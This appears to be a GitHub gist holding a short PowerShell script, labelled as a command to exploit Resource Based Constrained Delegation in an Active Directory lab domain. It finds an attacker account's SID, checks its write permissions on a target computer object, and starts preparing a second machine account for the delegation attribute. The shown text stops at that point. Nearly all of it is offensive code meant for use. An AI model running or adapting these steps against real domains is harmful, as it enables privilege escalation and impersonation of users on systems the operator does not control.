Skip to content

Instantly share code, notes, and snippets.

View notsoshant's full-sized avatar
😎
Hackin'

Prashant Kumar notsoshant

😎
Hackin'
View GitHub Profile
@notsoshant
notsoshant / rbcd.ps1
Created December 13, 2021 19:04
Command to exploit Resource Based Constrained Delegation
# Verify the COSMOS\Hawking has Write permissions on BOSON$
$AttackerSID = Get-DomainUser Hawking -Properties objectsid | Select -Expand objectsid
$ACE = Get-DomainObjectACL "BOSON.COSMOS.LAB" -ResolveGUIDs | ?{$_.SecurityIdentifier -match $AttackerSID}
$ACE
ConvertFrom-SID $ACE.SecurityIdentifier
# Add QUARK$ in msDS-AllowedToActOnBehalfOfOtherIdentity attribute of BOSON$
$S4UIdentity = "COSMOS\QUARK$"